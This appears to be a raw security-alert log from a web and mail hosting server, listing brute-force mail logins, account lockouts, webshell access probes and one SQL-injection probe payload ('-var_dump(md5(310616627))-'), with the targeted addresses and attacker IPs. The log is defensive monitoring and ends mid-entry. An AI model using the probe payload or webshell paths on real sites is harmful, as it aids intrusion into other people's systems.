abuser: 20.211.164.12
country_id: 2077456
domain: inter-link.edu.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/index.php||SC:/home2/interlink/public_html/images||


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 125.139.124.120
country_id: 1835841
description:
Feb  1 00:30:25 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(125.139.124.120)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.146.167
country_id: 1835841
description:
2026-02-01 00:30:50 dovecot_login authenticator failed for H=([121.142.146.167]) [121.142.146.167]:43873: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 103.157.49.1
country_id: 1643084
domain: feliogroup.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:'-var_dump(md5(310616627))-'||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 00:30:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 13.75.54.243
country_id: 1819730
domain: eminent.st
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/class.php||SC:/home/eminent/public_html/images||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.156.236.58
country_id: 3508796
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/teamwork.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 00:31:19 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.92.33.82
country_id: 390903
description:
2026-02-01 00:31:33 dovecot_login authenticator failed for H=(am5EHzl2) [45.92.33.82]:58906: 535 Incorrect authentication data (set_id=bengkok.lim@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.168.104.170
country_id: 1814991
description:
2026-02-01 00:31:59 dovecot_login authenticator failed for H=(pc170.zz.ha.cn) [61.168.104.170]:34923: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.94.242
country_id: 1814991
description:
2026-02-01 00:31:09 dovecot_login authenticator failed for H=([116.114.94.242]) [116.114.94.242]:46334: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-01 00:31:20 dovecot_login authenticator failed for H=(qWTeMq) [178.16.54.138]:62825: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:31:21 dovecot_login authenticator failed for H=(pRuga54X) [158.94.208.215]:56674: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 00:31:03 dovecot_login authenticator failed for H=(SvGAEeu) [178.16.54.22]:56317: 535 Incorrect authentication data (set_id=mckd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.232.126
country_id: 1269750
description:
2026-02-01 00:31:58 dovecot_login authenticator failed for H=(nsg-corporate-126.232.187.122.airtel.in) [122.187.232.126]:58468: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 00:31:14 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:54608: 535 Incorrect authentication data (set_id=test@sv3.nocser.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 00:31:47 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:60661: 535 Incorrect authentication data (set_id=test@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:32:09 dovecot_login authenticator failed for H=(PxKeHVq7) [158.94.208.215]:51171: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.92.33.82
country_id: 390903
description:
2026-02-01 00:32:17 dovecot_login authenticator failed for H=(IN75Ffdtku) [45.92.33.82]:60529: 535 Incorrect authentication data (set_id=bengkok.lim@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 00:32:22 dovecot_login authenticator failed for H=(zgZKcu) [178.16.54.22]:60682: 535 Incorrect authentication data (set_id=mckd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.66.2.184
country_id: 390903
description:
2026-02-01 00:33:00 dovecot_login authenticator failed for H=orz58h.static.otenet.gr [94.66.2.184]:43554: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 217.113.196.83
country_id: 3017382
domain: feliogroup.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/certificate.php||SC:/home2/feliogroupcom/public_html/images/certificate.php||


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 00:32:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.187.205
country_id: 337996
description:
2026-02-01 00:32:09 dovecot_login authenticator failed for H=([196.188.187.205]) [196.188.187.205]:41306: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-01 00:32:34 dovecot_login authenticator failed for H=(3midx7J) [178.16.54.138]:54988: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.174.35
country_id: 1269750
description:
2026-02-01 00:32:16 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [122.186.174.35]:51886: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/images/home/contact.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.92.33.82
country_id: 390903
description:
2026-02-01 00:33:26 dovecot_login authenticator failed for H=(AeeMAoO) [45.92.33.82]:65176: 535 Incorrect authentication data (set_id=bengkok.lim@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.129.195.43
country_id: 1269750
description:
2026-02-01 00:33:27 dovecot_login authenticator failed for H=([103.129.195.43]) [103.129.195.43]:48127: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.55.6.76
country_id: 2017370
description:
2026-02-01 00:33:30 dovecot_login authenticator failed for H=([95.55.6.76]) [95.55.6.76]:48020: 535 Incorrect authentication data


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 00:33:19 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:33:21 dovecot_login authenticator failed for H=(GtHZTF) [158.94.208.215]:49210: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.232.114.16
country_id: 3865483
description:
2026-02-01 00:33:38 dovecot_login authenticator failed for H=(ol16-114.fibertel.com.ar) [24.232.114.16]:33642: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.216.169.12
country_id: 2328926
description:
2026-02-01 00:33:42 dovecot_login authenticator failed for H=([41.216.169.12]) [41.216.169.12]:37650: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.56.155.146
country_id: 1814991
description:
2026-02-01 00:33:12 dovecot_login authenticator failed for H=([58.56.155.146]) [58.56.155.146]:63134: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 58.49.113.138
country_id: 1814991
description:
Feb  1 00:33:51 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(58.49.113.138)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.49.113.138
country_id: 1814991
description:
2026-02-01 00:33:53 dovecot_login authenticator failed for H=([218.106.120.18]) [58.49.113.138]:16143: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 00:33:11 dovecot_login authenticator failed for H=(ZYWfHFfLVo) [178.16.54.22]:53564: 535 Incorrect authentication data (set_id=mckd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-01 00:33:11 dovecot_login authenticator failed for H=(k2XupydE) [178.16.54.138]:50367: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 00:33:36 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account mckd has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 00:34:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account mckd has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:34:09 dovecot_login authenticator failed for H=(Y8I9RgVF) [158.94.208.215]:53669: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.92.33.82
country_id: 390903
description:
2026-02-01 00:34:11 dovecot_login authenticator failed for H=(YRWFyl99) [45.92.33.82]:50350: 535 Incorrect authentication data (set_id=bengkok.lim@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 00:34:04 dovecot_login authenticator failed for H=(5f0UbubY) [178.16.54.22]:50864: 535 Incorrect authentication data (set_id=mckd)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 00:34:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-01 00:34:25 dovecot_login authenticator failed for H=(6e9bOp) [178.16.54.138]:55486: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.145.54
country_id: 1269750
description:
2026-02-01 00:35:10 dovecot_login authenticator failed for H=(nsg-corporate-54.145.185.122.airtel.in) [122.185.145.54]:38946: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:35:21 dovecot_login authenticator failed for H=(DSaC8r31) [158.94.208.215]:58071: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.104.162.212
country_id: 1668284
description:
2026-02-01 00:36:00 dovecot_login authenticator failed for H=(106-104-162-212.adsl.static.seed.net.tw) [106.104.162.212]:36344: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-01 00:35:02 dovecot_login authenticator failed for H=(DnHDzrv) [178.16.54.138]:58052: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 00:35:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account mckd has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-02-01 00:35:18 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:52292: 535 Incorrect authentication data (set_id=testing@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.159.14.187
country_id: 3469034
description:
2026-02-01 00:35:20 dovecot_login authenticator failed for H=(200-168-190-81.jandaia.com) [200.159.14.187]:35974: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 00:35:22 dovecot_login authenticator failed for H=(FoeMVznCNo) [178.16.54.22]:50146: 535 Incorrect authentication data (set_id=mckd)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.92.33.82
country_id: 390903
description:
Feb  1 00:35:41 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account bengkok.lim@acburn.com.my has been locked for the attacker IP 45.92.33.82


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.92.33.82
country_id: 390903
description:
2026-02-01 00:35:13 dovecot_login authenticator failed for H=(WMFMJqg) [45.92.33.82]:53682: 535 Incorrect authentication data (set_id=bengkok.lim@acburn.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.92.33.82
country_id: 390903
description:
Feb  1 00:36:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account bengkok.lim@acburn.com.my has been locked for the attacker IP 45.92.33.82


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.92.33.82
country_id: 390903
description:
2026-02-01 00:36:04 dovecot_login authenticator failed for H=(VuAlau) [45.92.33.82]:56444: 535 Incorrect authentication data (set_id=bengkok.lim@acburn.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 45.92.33.82
country_id: 390903
description:
2026-02-01 00:36:25 dovecot_login authenticator failed for H=(MeA1xXRVWD) [45.92.33.82]:57334: 535 Incorrect authentication data (set_id=bengkok.lim@acburn.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 00:36:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account mckd has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 00:36:14 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:63120: 535 Incorrect authentication data (set_id=testing@acburn.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.223.150.246
country_id: 2963597
domain: kimmark.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/commentv.php||SC:/home2/kimmark/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:36:09 dovecot_login authenticator failed for H=(Wt6aMnNT4U) [158.94.208.215]:62618: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.73.169.63
country_id: 2186224
description:
2026-02-01 00:36:10 dovecot_login authenticator failed for H=([121.73.169.63]) [121.73.169.63]:58530: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 00:36:13 dovecot_login authenticator failed for H=(H9pQHjw) [178.16.54.22]:55052: 535 Incorrect authentication data (set_id=mckd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-01 00:36:17 dovecot_login authenticator failed for H=(DaTDMX) [178.16.54.138]:61921: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 00:37:14 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:52615: 535 Incorrect authentication data (set_id=testing@aircarbonic.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.164.91.67
country_id: 1814991
description:
2026-02-01 00:37:18 dovecot_login authenticator failed for H=([39.164.91.67]) [39.164.91.67]:60160: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.188.158.216
country_id: 2510769
description:
2026-02-01 00:37:44 dovecot_login authenticator failed for H=([207.188.158.216]) [207.188.158.216]:50471: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 00:37:03 dovecot_login authenticator failed for H=(lzjxxm) [178.16.54.22]:52285: 535 Incorrect authentication data (set_id=mckd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 00:37:08 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:51277: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.170.150.178
country_id: 1605651
description:
2026-02-01 00:37:08 dovecot_login authenticator failed for H=([203.170.150.178]) [203.170.150.178]:51342: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.187
country_id: 1269750
description:
2026-02-01 00:37:53 dovecot_login authenticator failed for H=(nsg-corporate-187.230.187.122.airtel.in) [122.187.230.187]:49797: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 00:37:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account mckd has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.92.33.82
country_id: 390903
description:
Feb  1 00:37:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account bengkok.lim@acburn.com.my has been locked for the attacker IP 45.92.33.82


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.92.33.82
country_id: 390903
description:
2026-02-01 00:37:10 dovecot_login authenticator failed for H=(csV27u) [45.92.33.82]:59826: 535 Incorrect authentication data (set_id=bengkok.lim@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:37:21 dovecot_login authenticator failed for H=(6id0sK) [158.94.208.215]:51204: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-01 00:37:31 dovecot_login authenticator failed for H=(xuD9VXc) [178.16.54.138]:57150: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.92.33.82
country_id: 390903
description:
Feb  1 00:38:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account bengkok.lim@acburn.com.my has been locked for the attacker IP 45.92.33.82


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.92.33.82
country_id: 390903
description:
2026-02-01 00:38:04 dovecot_login authenticator failed for H=(ryHPLFr) [45.92.33.82]:63793: 535 Incorrect authentication data (set_id=bengkok.lim@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 00:38:21 dovecot_login authenticator failed for H=(BNHzE5vzl) [178.16.54.22]:58376: 535 Incorrect authentication data (set_id=mckd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 00:38:40 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:57413: 535 Incorrect authentication data (set_id=testing@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.0.113.110
country_id: 226074
description:
2026-02-01 00:38:01 dovecot_login authenticator failed for H=([196.0.113.110]) [196.0.113.110]:35838: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.167.160
country_id: 99237
description:
2026-02-01 00:38:06 dovecot_login authenticator failed for H=([65.20.167.160]) [65.20.167.160]:55041: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-01 00:38:08 dovecot_login authenticator failed for H=(IXVMSn) [178.16.54.138]:59971: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:38:09 dovecot_login authenticator failed for H=(kD9TXwD) [158.94.208.215]:57572: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 00:38:11 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:60880: 535 Incorrect authentication data (set_id=testing@ocned.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 00:38:31 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 00:39:27 dovecot_login authenticator failed for H=(xRLoEuzZF) [178.16.54.22]:62247: 535 Incorrect authentication data (set_id=mckd)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.92.33.82
country_id: 390903
description:
Feb  1 00:39:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account bengkok.lim@acburn.com.my has been locked for the attacker IP 45.92.33.82


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 00:39:19 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:39:21 dovecot_login authenticator failed for H=(fZdY7NVT) [158.94.208.215]:63332: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-01 00:39:22 dovecot_login authenticator failed for H=(AJVb70Q4F) [178.16.54.138]:57070: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.207.20.193
country_id: 290557
description:
2026-02-01 00:39:28 dovecot_login authenticator failed for H=([94.207.20.193]) [94.207.20.193]:36997: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-02-01 00:39:44 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:52816: 535 Incorrect authentication data (set_id=test@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.92.33.82
country_id: 390903
description:
2026-02-01 00:39:15 dovecot_login authenticator failed for H=(MhIm24AB) [45.92.33.82]:50376: 535 Incorrect authentication data (set_id=bengkok.lim@acburn.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/malaysia-infinity-design-projects/commercial/img/druma_photos/video.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.178.82.215
country_id: 1814991
description:
2026-02-01 00:39:53 dovecot_login authenticator failed for H=([61.178.82.215]) [61.178.82.215]:33033: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 00:40:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:40:09 dovecot_login authenticator failed for H=(1vs452zi) [158.94.208.215]:51526: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-01 00:40:35 dovecot_login authenticator failed for H=(3kE6irDyEv) [178.16.54.138]:59235: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 00:40:36 dovecot_login authenticator failed for H=(1nQdB1) [178.16.54.22]:59709: 535 Incorrect authentication data (set_id=mckd)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/malaysia-infinity-design-projects/commercial/img/druma_photos/index.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:41:21 dovecot_login authenticator failed for H=(yDnaO6) [158.94.208.215]:54061: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 00:41:01 dovecot_login authenticator failed for H=(kAvFZz) [178.16.54.22]:50754: 535 Incorrect authentication data (set_id=mckd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-01 00:41:13 dovecot_login authenticator failed for H=(EMLIgH65) [178.16.54.138]:57605: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-02-01 00:41:49 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:63809: 535 Incorrect authentication data (set_id=testing@plomalite.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 00:41:19 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 00:42:34 dovecot_login authenticator failed for H=(rWcxf92j) [178.16.54.22]:63266: 535 Incorrect authentication data (set_id=mckd)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 00:42:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
